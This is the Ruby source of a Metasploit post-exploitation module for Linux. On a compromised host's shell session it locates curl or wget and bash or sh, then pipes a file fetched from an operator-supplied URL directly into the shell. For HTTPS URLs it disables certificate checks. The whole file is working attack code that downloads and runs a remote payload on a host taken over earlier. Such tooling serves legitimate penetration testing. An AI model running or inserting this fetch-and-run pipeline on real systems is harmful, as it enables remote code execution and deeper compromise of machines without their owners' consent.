## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/linux/system' require 'msf/core/post/linux/priv' class Metasploit3 < Msf::Post include Msf::Post::Common include Msf::Post::File include Msf::Post::Linux::System def initialize(info={}) super( update_info( info, 'Name' => 'Linux Manage Download and Exececute', 'Description' => %q{ This module downloads and runs a file with bash. It first tries to uses curl as its HTTP client and then wget if it's not found. Bash found in the PATH is used to execute the file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Joshua D. Abraham ', ], 'Platform' => [ 'linux' ], 'SessionTypes' => [ 'shell' ] )) register_options( [ OptString.new('URL', [true, 'Full URL of file to download.']) ], self.class) end def cmd_exec_vprint(cmd) vprint_status("Executing: #{cmd}") output = cmd_exec(cmd) if output.length > 0 vprint_status("#{output}") end return end def exists_exe?(exe) path = expand_path(ENV['PATH']) if path.nil? or path.empty? return false end path.split(":").each{ |p| return true if file_exist?(p + "/" + exe) } return false end def search_http_client print_status("Checking if curl exists in the path...") if exists_exe?("curl") print_good("curl available, using it") @stdout_option = "" @http_client = "curl" @ssl_option = "-k" return end print_status("Checking if wget exists in the path...") if exists_exe?("wget") print_good("wget available, using it") @http_client = "wget" @stdout_option = "-O-" @ssl_option = "--no-check-certificate" return end end def search_shell print_status("Checking if bash exists in the path...") if exists_exe?("bash") print_good("bash available, using it") @shell = "bash" return end print_status("Checking if sh exists in the path...") if exists_exe?("sh") print_good("sh available, using it") @shell = "sh" return end end def run search_http_client if not @http_client print_warning("neither curl nor wget available in the $PATH, aborting...") return end search_shell if not @shell print_warning("neither bash nor sh available in the $PATH, aborting...") return end if datastore['URL'].match(/https/) cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | `which #{@shell}` ") else cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{datastore['URL']} 2>/dev/null | `which #{@shell}` ") end end end